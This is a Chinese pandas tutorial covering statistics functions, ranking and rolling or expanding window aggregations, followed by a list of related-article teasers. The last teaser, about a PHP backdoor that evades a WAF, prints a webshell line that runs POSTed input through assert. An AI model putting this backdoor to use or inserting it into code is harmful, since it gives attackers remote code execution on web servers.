Pandas 计算工具介绍
# 导入相关库
import numpy as np
import pandas as pd
统计函数
最常见的计算工具莫过于一些统计函数了。首先构建一个包含了用户年龄与收入的 DataFrame
index = pd.Index(data=["Tom", "Bob", "Mary", "James", "Andy", "Alice"], name="name")
data = {
"age": [18, 40, 28, 20, 30, 35],
"income": [1000, 4500 , 1800, 1800, 3000, np.nan],
}
df = pd.DataFrame(data=data, index=index)
df
"""
age income
name
Tom 18 1000.0
Bob 40 4500.0
Mary 28 1800.0
James 20 1800.0
Andy 30 3000.0
Alice 35 NaN
"""
协方差
# 计算年龄与收入之间的协方差,计算的时候会丢弃缺失值
df.age.cov(df.income)
相关系数
默认情况下 corr 计算相关性时用到的方法是 pearson ,当然了你也可以指定 kendall 或 spearman
# 计算年龄与收入之间的相关性,计算的时候会丢弃缺失值
df.age.corr(df.income) # 0.944165089513402
df.age.corr(df.income, method="kendall") # 0.9486832980505137
df.age.corr(df.income, method="spearman") # 0.9746794344808964
数据的排名
通过 rank 函数求出数据的排名顺序,如果有相同的数,默认取其排名的平均值作为值。
# 根据income排名,如果有相同的数,默认取其排名的平均值作为值
df.income.rank()
# 设置参数来得到不同的结果。可以设置的参数有: min 、 max 、 first 、 dense
df.income.rank(method="first")
窗口函数
有的时候,我们需要对不同窗口中的数据进行一个统计,常见的窗口类型为时间窗口
例如,某个餐厅 7 天的营业额,我们想要计算每两天的收入总额
data = {
"turnover": [12000, 18000, np.nan, 12000, 9000, 16000, 18000],
"date": pd.date_range("2019-10-01", periods=7)
}
df2 = pd.DataFrame(data=data)
.rolling ()得一个结果
通过 rolling 实现,设置 window=2 来保证窗口长度为 2,设置 on="date" 来保证根据日期这一列来滑动窗口
df2.rolling(window=2, on="date").sum()
上面运行结果有很多是缺失值,导致这个结果的原因是因为在计算时,窗口中默认需要的最小数据个数与窗口长度一致,这里可以设置 min_periods=1 来修改下
df2.rolling(window=2, on="date", min_periods=1).sum()
计算每段时间的累加和
# 1. 通过 rolling 实现
df2.rolling(window=len(df2), on="date", min_periods=1).sum()
# 2. 直接使用 expanding 来生成窗
df2.expanding(min_periods=1)["turnover"].sum()
函数的方法与描述
除了可以使用 sum 函数外,还有很多其他的函数可以使用,如:count、mean、median、min、max、std、var、quantile、apply、cov、corr 等等

.agg() 得多个结果
不过上面的方式只能生成一个结果,如果想要同时求出多个结果(如求和和均值),可以借助 agg 函数可以快速实现
df2.rolling(window=2, min_periods=1)["turnover"].agg([np.sum, np.mean])
如果传入一个字典,可以为生成的统计结果重命名
df2.rolling(window=2, min_periods=1)["turnover"].agg({"tur_sum": np.sum, "tur_mean": np .mean})
Pandas 计算工具介绍的更多相关文章
- Pandas系列(七)-计算工具介绍
内容目录 1. 统计函数 2. 窗口函数 3. 加深加强 数据准备 # 导入相关库 import numpy as np import pandas as pd #Pandas 中包含了非常丰富的计算 ...
- Linux性能工具介绍
l Linux性能工具介绍 p CPU高 p 磁盘I/O p 网络 p 内存 p 应用程序跟踪 l 操作系统与应用程序的关系比喻为“唇亡齿寒”一点不为过 l 应用程序的性能问题/功能问 ...
- Android系统性能调优工具介绍
http://blog.csdn.net/innost/article/details/9008691 经作者授权,发表Tieto某青年牛的一篇<程序员>大作. Android系统性能调优 ...
- [原创]Java静态代码检查工具介绍
[原创]Java静态代码检查工具介绍 一 什么是静态代码检查? 静态代码分析是指无需运行被测代码,仅通过分析或检查源程序的语法.结构.过程.接口等来检查程序的正确性,找出代码隐藏的错误和缺陷,如参数 ...
- LineCalc,一个基于Lex&Yacc的简单行计算工具
LineCalc是基于Lex&Yacc的一个简单的行计算工具,支持常见的运算符和部分POSIX中定义于math.h中的数学函数:同时,LineCalc还提供了一个简单的错误处理模块,能检测公式 ...
- python接口自动化(四)--接口测试工具介绍(详解)
简介 “工欲善其事必先利其器”,通过前边几篇文章的介绍,大家大致对接口有了进一步的认识.那么接下来让我们看看接口测试的工具有哪些. 目前,市场上有很多支持接口测试的工具.利用工具进行接口测试,能够提供 ...
- IPerf——网络测试工具介绍与源码解析(4)
上篇随笔讲到了TCP模式下的客户端,接下来会讲一下TCP模式普通场景下的服务端,说普通场景则是暂时不考虑双向测试的可能,毕竟了解一项东西还是先从简单的情况下入手会快些. 对于服务端,并不是我们认为的直 ...
- Base64图片编码原理,base64图片工具介绍,图片在线转换Base64
Base64图片编码原理,base64图片工具介绍,图片在线转换Base64 DataURI 允许在HTML文档中嵌入小文件,可以使用 img 标签或 CSS 嵌入转换后的 Base64 编码,减少 ...
- python3.4学习笔记(五) IDLE显示行号问题,插件安装和其他开发工具介绍
python3.4学习笔记(五) IDLE显示行号问题,插件安装和其他开发工具介绍 IDLE默认不能显示行号,使用ALT+G 跳到对应行号,在右下角有显示光标所在行.列.pycharm免费社区版.Su ...
随机推荐
- [书籍翻译] 《JavaScript并发编程》第一章 JavaScript并发简介
> 本文是我翻译<JavaScript Concurrency>书籍的第一章,该书主要以Promises.Generator.Web workers等技术来讲解JavaScript并 ...
- laravel 5.5 运行在 php7.0 报错 Symfony\Component\Translation\Translator.php FatalThrowableErrorParse error: syntax error, unexpected '?', expecting variable (T_VARIABLE)
问题描述 报错原因是 php-cli 版本是 7.1.x,运行 composer create-project ... 命令时安装的依赖包会自动适配到当前 php 版本 7.1.x.如果 php-fp ...
- Laravel 5 中文文档 CHM 版
使用 Microsoft HTML Help Workshop 做了一个 Laravel 5.4 中文文档的 CHM 版本. 百度网盘下载地址:http://pan.baidu.com/s/1dFN2 ...
- Spring Boot 2.X(五):MyBatis 多数据源配置
前言 MyBatis 多数据源配置,最近在项目建设中,需要在原有系统上扩展一个新的业务模块,特意将数据库分库,以便减少复杂度.本文直接以简单的代码示例,如何对 MyBatis 多数据源配置. 准备 创 ...
- 文件/大文件上传功能实现(JS+PHP)全过程
文件/大文件上传功能实现(JS+PHP) 参考博文:掘金-橙红年代 前端大文件上传 路漫漫 其修远 PHP + JS 实现大文件分割上传 本文是学习文件上传后的学习总结文章,从无到有实现文件上传功能, ...
- ssm配置文件
mybatis配置文件SqlMapConfig.xml <?xml version="1.0" encoding="UTF-8"?> <!DO ...
- 04-02 AdaBoost算法
目录 AdaBoost算法 一.AdaBoost算法学习目标 二.AdaBoost算法详解 2.1 Boosting算法回顾 2.2 AdaBoost算法 2.3 AdaBoost算法目标函数优化 三 ...
- 2016 10月15日java的动手动脑
(1) 编写一个方法,使用以上算法生成指定数目(比如1000个)的随机整数. 源程序: //随机数的产生 //zhanxinwu,October,15,2016 public class Recur ...
- django-drf框架中排序和查询组件
0910自我总结 django-drf框架中排序和查询组件 一查询相关 1.模糊查询 1.导入模块组件 from rest_framework.filters import SearchFilter ...
- PHP后门之冷门回调函数(过waf)
header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...